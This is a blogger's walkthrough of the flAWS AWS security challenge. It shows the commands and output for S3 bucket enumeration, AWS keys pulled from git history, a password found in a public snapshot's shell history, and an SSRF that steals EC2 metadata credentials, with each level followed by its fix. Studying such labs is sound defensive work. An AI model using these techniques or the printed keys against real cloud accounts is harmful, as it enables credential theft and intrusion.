flAWS Writeup

In order to learn more about cloud security, I found the flAWS challenge, created by Scott Piper. By completing the different levels, I hope to learn the basics of cloud security, including common attack patterns.

  1. Buckets of Fun
  2. Any Authenticated
  3. Key Discovery
  4. Snapshooter
  5. Open Proxy
  6. Bad Audit
  7. Conclusion

Buckets of Fun

This level is buckets of fun. See if you can find the first sub-domain.

This is all about S3 bucket discovery. Unless disclosed in some other manner, this basically requires educated guessing. There are some tools, such as bucketkicker. Given the name of the challenge, I made quick work of this.

root@kali:~/flAWS# aws2 s3 ls s3://flaws/
An error occurred (NoSuchBucket) when calling the ListObjectsV2 operation: The specified bucket does not exist
root@kali:~/flAWS# aws2 s3 ls s3://flaws.cloud/
2017-03-13 23:00:38       2575 hint1.html
2017-03-02 23:05:17       1707 hint2.html
2017-03-02 23:05:11       1101 hint3.html
2018-07-10 12:47:16       3082 index.html
2018-07-10 12:47:16      15979 logo.png
2017-02-26 20:59:28         46 robots.txt
2017-02-26 20:59:30       1051 secret-dd02c7c.html
root@kali:~/flAWS# aws2 s3 cp s3://flaws.cloud/secret-dd02c7c.html ./ && cat secret-dd02c7c.html
download: s3://flaws.cloud/secret-dd02c7c.html to ./secret-dd02c7c.html
...
<h1>Congrats! You found the secret file!</h1>

Level 2 is at <a href="http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud">http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud</a>

As explained in more detail on level 2’s page, the discovery of this secret was possible due to the S3 bucket permissions being incorrectly configured, with “Everyone” being allowed to make the ListObjects API call. This would enable an attacker to enumerate, and most likely view, any private files hosted in a bucket. As there is no requirement for any principle to make a ListObjects against this bucket, the relevant permission should not be granted to anyone.

Any Authenticated

Level link

The next level is fairly similar, with a slight twist. You’re going to need your own AWS account for this. You just need the free tier.

As indicated in the prompt, this level required the creation of an AWS account and configuring the CLI to use the access token for that account. Once completed,

root@kali:~/flAWS/2# aws2 s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/
2017-02-26 21:02:15      80751 everyone.png
2017-03-02 22:47:17       1433 hint1.html
2017-02-26 21:04:39       1035 hint2.html
2017-02-26 21:02:14       2786 index.html
2017-02-26 21:02:14         26 robots.txt
2017-02-26 21:02:15       1051 secret-e4443fc.html
root@kali:~/flAWS/2# aws2 s3 cp --recursive s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ ./ && cat secret-e4443fc.html
download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/hint1.html to ./hint1.html
download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/hint2.html to ./hint2.html
download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/robots.txt to ./robots.txt
download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html to ./secret-e4443fc.html
download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/index.html to ./index.html
download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/everyone.png to ./everyone.png
...
<h1>Congrats! You found the secret file!</h1>

Level 3 is at <a href="http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud">http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud</a>

In a similar manner to the first level, permissions were incorrectly configured, granting the ability to list objects to an attacker. In this case, the permission was given to all authenticated users, a common mistake. Some administrators assume that this means the permission is granted to any user that is authenticated to your AWS account or organization, when in fact it means that the permission is granted to any authenticated AWS account, regardless of their organization or relation to the object creator.

Key Discovery

Level Link

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you’ll find something that will let you list what other buckets are.

Listing the contents of this level’s S3 buckets has something interesting:

root@kali:~/flAWS/3# aws2 s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
                           PRE .git/
2017-02-26 19:14:33     123637 authenticated_users.png
2017-02-26 19:14:34       1552 hint1.html
2017-02-26 19:14:34       1426 hint2.html
2017-02-26 19:14:35       1247 hint3.html
2017-02-26 19:14:33       1035 hint4.html
2017-02-26 21:05:16       1703 index.html
2017-02-26 19:14:33         26 robots.txt

This S3 bucket is being tracked in a git repository, as indicated by the presence of a .git directory. Note that, in S3, a directory is more properly referred to as a prefix, since S3 is object-based not file-based.

Pulling down the entire .git folder and looking at the git log nets the following:

root@kali:~/flAWS/3# git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

Diffing the two commits, we get what looks a lot like an AWS credential.

root@kali:~/flAWS/3# git diff b64c8d f52ec0
diff --git a/access_keys.txt b/access_keys.txt
new file mode 100644
index 0000000..e3ae6dd
--- /dev/null
+++ b/access_keys.txt
@@ -0,0 +1,2 @@
+access_key AKIAJ366LIPB4IJKT7SA
+secret_access_key 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

Using the CLI’s configure utility, I created a profile named flaws-l3 with this credential. Using this profile, I got the list of all S3 buckets this user has access to.

root@kali:~/flAWS/3# aws2 s3 --profile flaws-l3 ls 
2017-02-18 14:41:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-29 12:34:53 config-bucket-975426262029
2018-07-07 12:09:49 flaws-logs
2017-02-18 14:40:54 flaws.cloud
2017-02-24 00:15:42 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-26 13:29:03 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-26 13:49:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-26 14:49:03 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-26 14:48:40 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-26 15:07:13 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

This gives us the link to the next challenge, which has the same URL as the bucket that begins in “level4.”

The vulnerability present in this level is the result of a couple different misconfigurations.

First, an S3 bucket configured to host a static website should not be a version-control repository. The change-management process can be done with git or a similar program, but the actual files should be interacted with via the AWS API.

Second, secrets should not be checked into a version-controlled database. If it should happen accidentally, the credential should be removed immediately from the repository, and also revoked inside AWS IAM. If the credential had been properly revoked, the prior disclosure of the credential would not impact future security.

Snapshooter

Level Link

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud. It’ll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

In order to find the snapshot that the challenge refers to, first we need to get the volume ID that is mounted to the only EC2 instance visible to the account.

root@kali:~/flAWS/3# aws2 --profile flaws-l3 ec2 describe-instances | jq '.Reservations[].Instances[].BlockDeviceMappings' 
{
	"DeviceName": "/dev/sda1",
	"Ebs": {
		"AttachTime": "2017-02-12T22:29:25+00:00",
		"DeleteOnTermination": true,
		"Status": "attached",
		"VolumeId": "vol-04f1c039bc13ea950"
	}
}

Given this, we can then find the snapshot ID associated to this volume.

root@kali:~/flAWS/3# aws2 --profile flaws-l3 ec2 describe-snapshots  | jq '.Snapshots[] | select(.VolumeId=="vol-04f1c039bc13ea950")' 
{
  "Description": "",
  "Encrypted": false,
  "OwnerId": "975426262029",
  "Progress": "100%",
  "SnapshotId": "snap-0b49342abd1bdcb89",
  "StartTime": "2017-02-28T01:35:12+00:00",
  "State": "completed",
  "VolumeId": "vol-04f1c039bc13ea950",
  "VolumeSize": 8,
  "Tags": [
    {
      "Key": "Name",
      "Value": "flaws backup 2017.02.27"
    }
  ]
}

Luckily for us, this snapshot is also available to an account that we control. This lets us create a volume based upon the snapshot.

root@kali:~/flAWS/4# aws2 ec2 describe-snapshots  | jq '.Snapshots[] | select(.VolumeId=="vol-04f1c039bc13ea950")' 
{
  "Description": "",
  "Encrypted": false,
  "OwnerId": "975426262029",
  "Progress": "100%",
  "SnapshotId": "snap-0b49342abd1bdcb89",
  "StartTime": "2017-02-28T01:35:12+00:00",
  "State": "completed",
  "VolumeId": "vol-04f1c039bc13ea950",
  "VolumeSize": 8,
  "Tags": [
    {
      "Key": "Name",
      "Value": "flaws backup 2017.02.27"
    }
  ]
}
root@kali:~/flAWS/4# aws2 ec2 create-volume --availability-zone us-west-2a --snapshot-id snap-0b49342abd1bdcb89
{
    "AvailabilityZone": "us-west-2a",
    "CreateTime": "2020-02-13T23:03:41+00:00",
    "Encrypted": false,
    "Size": 8,
    "SnapshotId": "snap-0b49342abd1bdcb89",
    "State": "creating",
    "VolumeId": "vol-060db56392818cde7",
    "Iops": 100,
    "Tags": [],
    "VolumeType": "gp2"
}

Rather than attempt to create an instance via the CLI, I opted to do so via the web console, ensuring to select the same availability zone I had created the volume in. After linking the volume to /dev/sdf and mounting it to /mnt/flaws/, I could dump the credential needed.

[ec2-user@ip-172-31-33-83 flaws]$ cat /mnt/flaws/etc/nginx/.htpasswd
$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0

Given that Apache uses salted, 1000x MD5, it seems unlikely that I’ll be cracking this without any further information. Looking at the root user’s home directory, there is a .bash_history file present, which contains the command history of the root user. Since htpasswd files are usually generated via command line, we can probably find the password here.

[ec2-user@ip-172-31-33-83 flaws]$ cat /mnt/flaws/root/.bash_history
...
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
...

Bingpot! Using this password to authenticate to the running EC2 webpage, showing us the following:

Good work getting in. This level is described at http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/

Now, what went wrong? First off, care should be taken to avoid credentials being stored in logs. In this case, a simple history -c would have prevented the collection of the credential from the snapshot. But, perhaps more critically, the snapshot should not have been made public. Unless you are maintaining a community AMI, it is probably a good idea to never have a public snapshot.

Open Proxy

This EC2 has a simple HTTP only proxy on it. See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

From the looks of it, this challenge will involve compelling the application to disclose private information to us, most likely via the EC2 metadata service. To test, we can ask the server to proxy a request to the link-local address 169.254.169.254.

root@kali:~/flAWS/5# curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
2016-06-30
2016-09-02
2018-03-28
2018-08-17
2018-09-24
latest

Each of the returned values corresponds to an available metadata version. As it is likely that the most valuable data is in the latest version, I then issue a request for all available items and categories in that version.

root@kali:~/flAWS/5# curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

The most interesting category present is the iam category. Using the following script to dump the credentials for all roles associated to the instance, we can successfully gather the AccessKey and Secret required to authenticate as that role.

root@kali:~/flAWS/5# roles=$(curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/
root@kali:~/flAWS/5# for role in $roles; do curl "http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/$role" > $role.txt; done
root@kali:~/flAWS/5# ls
flaws.txt
root@kali:~/flAWS/5# cat flaws.txt 
{
  "Code" : "Success",
  "LastUpdated" : "2020-02-14T00:35:12Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6GG7PSQGTZP63KMI",
  "SecretAccessKey" : "xAUlwmR90Ckvjy6gZqp9QPmyZBBDM1Ox1AKs69v+",
  "Token" : "IQoJb3JpZ2luX2VjELH//////////wEaCXVzLXdlc3QtMiJHMEUCIQCnQK5o0Pk8U2Df9MbAM3okuGedLNJmZOmX/zpYk46rgQIgIS3/XK01N411vfSRhGh0Oc0BpDAziUlbAgaydnwqwYEqtAMIahAAGgw5NzU0MjYyNjIwMjkiDBlNW4IQnr8eHmgC5yqRA2Dk6+t956cMEpllS3ssOBn/2fce8Cbjg4qfKL2xgAsFSm60idwl4vYIES0n0D02pvhZKXGxqnzcyIdantR2J2/Q2nQd2a9yFLnv8RsFJol+jLWO8ayXYoiUalqPiiInFu6eKMVvr5VssnbjEEvTSxSdERj4o1oIyRbX4fs4hl2OAVrnJ2ieCiJ2rWvZtix3GA8O6AA10XJZTkCc1ybI0fkZDGfv9sU30XqLxpXg2bbVYUYREPBQZQu7l782f/y66w+TXtLSr+0nmR6Zf/Cucl/ZjZQj53peq9UtdyihlbKpVKKNCI6Y59+G6DIH0i6T2kiP8pf+bTAAW/CgOeyAT3uaPiNuVatz7Er/OeodempVX4KkUXx4ludZb+N8o30j9GraOIAkSIzqQBBbhgfFqAw6zf9DV9WZ+ppFDsQ3b1R1q/4BFr/TdoPQEf3uvd62ejOnyrnNs7SZKV8xKhLo7GBjNyRc3qiTkFeqPr1qBiINpdKxZUCXg6BU6SosCZy0oSD1DZ1mV1L8/ijBfzv8zSevML7Wl/IFOusBjp9Gy+VQfbEcC8NsXZdinBSfw1bdZ1fL+UGw/SeeOQay/Lb6pY8VRTtQ2++zybD5bN6cebMSIw8s2EiySNBOGA5l6u4pV1TelaZv9Df0VgnSurO9zBTF3rNyGWuRHn6ePn2HPRr4rTsUPDPMLgQTAZmZBV6sYRf1J00Jjc9yr9WikPyJbwK+2CxaQxhpzOtWi696EKYxm6fBYVHHAK7CecEnBO8H6obuj/tWZwrStJuP7HlzRsyfcjU+/kks13sGYDO1wxUWfOGvl26dZa+k+tUw5Kek6pA0S104tSqWsD9DdvTaizo7lNCHog==",
  "Expiration" : "2020-02-14T06:49:44Z"
}

After using the aws configure command to import this credential to a profile named flaws-l5, we should be able to list S3 buckets.

root@kali:~/flAWS/5# aws2 --profile flaws-l5 s3 ls

An error occurred (InvalidAccessKeyId) when calling the ListBuckets operation: The AWS Access Key Id you provided does not exist in our records.

Hmmm. After some research, it seems that to use IAM credentials, you also have to add the token to the credential. After doing so, we can successfully get the data we’re looking for.

root@kali:~/flAWS/5# aws2 --profile flaws-l5 s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
                           PRE ddcc78ff/
2017-02-26 21:11:07        871 index.html

What’s broken in this app? As always, there’s a couple things. One, there’s a glaring server-side request forgery vulnerability in the application, which allows attackers to make any request from the server. Secondly, the instance in question is not configured to use Instance Metadata Service version 2. With IMSv2, metadata requests must first get an authorization token by making a PUT request to the link-local IP, then use that token in all requests for metadata items. As most SSRF vulnerabilities do not allow the attacker to specify the HTTP method, it is highly unlikely the attacker will be able to issue both the PUT and GET request needed to exfiltrate data.

Bad Audit

Level Link

For this final challenge, you’re getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.

Access key ID: AKIAJFQ6E7BY57Q3OBGA

Secret: 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

As the challenge tells us out account will have the SecurityAudit policy, it seems prudent to research what that policy entails.

After reading through a couple different sources, it seems that the intent is that accounts with this permission are allowed to view all security-related metadata. Essentially, it is a read-only account on steroids. To view the full permissions we have, I first found the username for our credential, then listed the policies attached to our user.

root@kali:~/flAWS/6# aws2 --profile flaws-l6 iam list-users
{
    "Users": [
        {
            "Path": "/",
            "UserName": "backup",
            "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
            "Arn": "arn:aws:iam::975426262029:user/backup",
            "CreateDate": "2017-02-12T20:58:26+00:00"
        },
        {
            "Path": "/",
            "UserName": "Level6",
            "UserId": "AIDAIRMDOSCWGLCDWOG6A",
            "Arn": "arn:aws:iam::975426262029:user/Level6",
            "CreateDate": "2017-02-26T23:11:16+00:00"
        }
    ]
}
root@kali:~/flAWS/6# aws2 --profile flaws-l6 iam list-attached-user-policies --user-name Level6
{
    "AttachedPolicies": [
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
        },
        {
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
        }
    ]
}

Since the attached policy is not the standard SecurityAudit group, I dumped the attached permissions of both this and the default SecurityAudit group, then did some bash magic to find the difference.

root@kali:~/flAWS/6# aws2 --profile flaws-l6 iam get-policy-version --policy-arn "arn:aws:iam::975426262029:policy/MySecurityAudit" --version-id "v1" > MySecurityAudit.json
root@kali:~/flAWS/6# diff MySecurityAuditPerms.json SecurityAuditPerms.json -y
"acm:Describe*"							"acm:Describe*"
"acm:List*"							"acm:List*"
"application-autoscaling:Describe*"				"application-autoscaling:Describe*"
							      >	"appmesh:Describe*"
							      >	"appmesh:List*"
							      >	"appsync:List*"
"athena:List*"							"athena:List*"
"autoscaling:Describe*"						"autoscaling:Describe*"
"batch:DescribeComputeEnvironments"				"batch:DescribeComputeEnvironments"
"batch:DescribeJobDefinitions"					"batch:DescribeJobDefinitions"
							      >	"chime:List*"
							      >	"cloud9:Describe*"
							      >	"cloud9:ListEnvironments"
  
...

							      >	"storagegateway:DescribeCachediSCSIVolumes"
							      >	"storagegateway:DescribeGatewayInformation"
							      >	"storagegateway:DescribeMaintenanceStartTime"
							      >	"storagegateway:DescribeNFSFileShares"
							      >	"storagegateway:DescribeSnapshotSchedule"
							      >	"storagegateway:DescribeStorediSCSIVolumes"
							      >	"storagegateway:DescribeTapeArchives"
							      >	"storagegateway:DescribeTapeRecoveryPoints"
							      >	"storagegateway:DescribeTapes"
							      >	"storagegateway:DescribeUploadBuffer"
							      >	"storagegateway:DescribeVTLDevices"
							      >	"storagegateway:DescribeWorkingStorage"
"storagegateway:List*"						"storagegateway:List*"
"tag:GetResources"						"tag:GetResources"
"tag:GetTagKeys"						"tag:GetTagKeys"
"transfer:Describe*"						"transfer:Describe*"
"transfer:List*"						"transfer:List*"
"translate:List*"						"translate:List*"
"trustedadvisor:Describe*"					"trustedadvisor:Describe*"
"waf:ListWebACLs"						"waf:ListWebACLs"
"waf-regional:ListWebACLs"					"waf-regional:ListWebACLs"
"workspaces:Describe*"						"workspaces:Describe*"

Unfortunately, there were no permissions added to the MySecurityAudit group. Some permissions were removed, likely with the intent of ensuring that we complete this level as intended. Moving on, I then enumerated the permissions granted by the list_apigateways permission.

root@kali:~/flAWS/6# aws2 --profile flaws-l6 iam get-policy-version --policy-arn "arn:aws:iam::975426262029:policy/list_apigateways" --version-id "v4"
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "apigateway:GET"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2017-02-20T01:48:17+00:00"
    }
}

After consulting the documentation on API Gateway permissions, it seems that this permission will let us invoke any API included in the API gateway.

Given that the most common target for an API gateway is a Lambda function, I now found the one configured AWS function and determined the associated API ID.

root@kali:~/flAWS/6# aws2 --profile flaws-l6 lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Runtime": "python2.7",
            "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 282,
            "Description": "A starter AWS Lambda function.",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
        }
    ]
}
root@kali:~/flAWS/6# aws2 --profile flaws-l6 lambda get-policy 
usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help
aws2: error: the following arguments are required: --function-name
root@kali:~/flAWS/6# aws2 --profile flaws-l6 lambda get-policy --function-name "Level6"
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
    "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}

Of interest is the InvokeFunction action that is allowed to the API with the ID of s33ppypa75. With this information, we can then collect information associated with that API ID.

root@kali:~/flAWS/6# aws2 --profile flaws-l6 apigateway get-rest-api --rest-api-id s33ppypa75
{
    "id": "s33ppypa75",
    "name": "Level6",
    "createdDate": "2017-02-26T19:21:35-05:00",
    "apiKeySource": "HEADER",
    "endpointConfiguration": {
        "types": [
            "EDGE"
        ]
    },
    "tags": {}
}
root@kali:~/flAWS/6# aws2 --profile flaws-l6 apigateway get-resources --rest-api-id s33ppypa75
{
    "items": [
        {
            "id": "6m5gni",
            "parentId": "y8nk5v2z1h",
            "pathPart": "level6",
            "path": "/level6",
            "resourceMethods": {
                "GET": {}
            }
        },
        {
            "id": "y8nk5v2z1h",
            "path": "/"
        }
    ]
}
root@kali:~/flAWS/6# aws2 --profile flaws-l6 apigateway get-stages --rest-api-id s33ppypa75
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": "2017-02-26T19:26:08-05:00",
            "lastUpdatedDate": "2017-02-26T19:26:08-05:00"
        }
    ]
}

Now, from the documentation on invoking an API gateway, we know that executing an API follows the format of https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/, which makes our full target https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6.

Unlike previous challenges, there wasn’t so much a misconfiguration in this level as there was a dangerous practice. The completion of the challenge required the “administrator” to give us, an untrusted user, read-only permissions to the entire account, likely under the assumption we would not be able to do any damage with it. Combined with the apparent reliance on security-through-obscurity to keep the API endpoint unknown, we were able to finish the challenge, “exploiting” the system.

Conclusion

This challenge was very interesting. Having only experienced AWS through the web console for basic home-lab type tasks, this challenge forced me to learn more about interacting with AWS via the API, as well as the internals of how the most popular services work. All in all, I’m definitely happy that I took the time to complete flAWS, and look forward to working on flAWS 2.

Written on February 14, 2020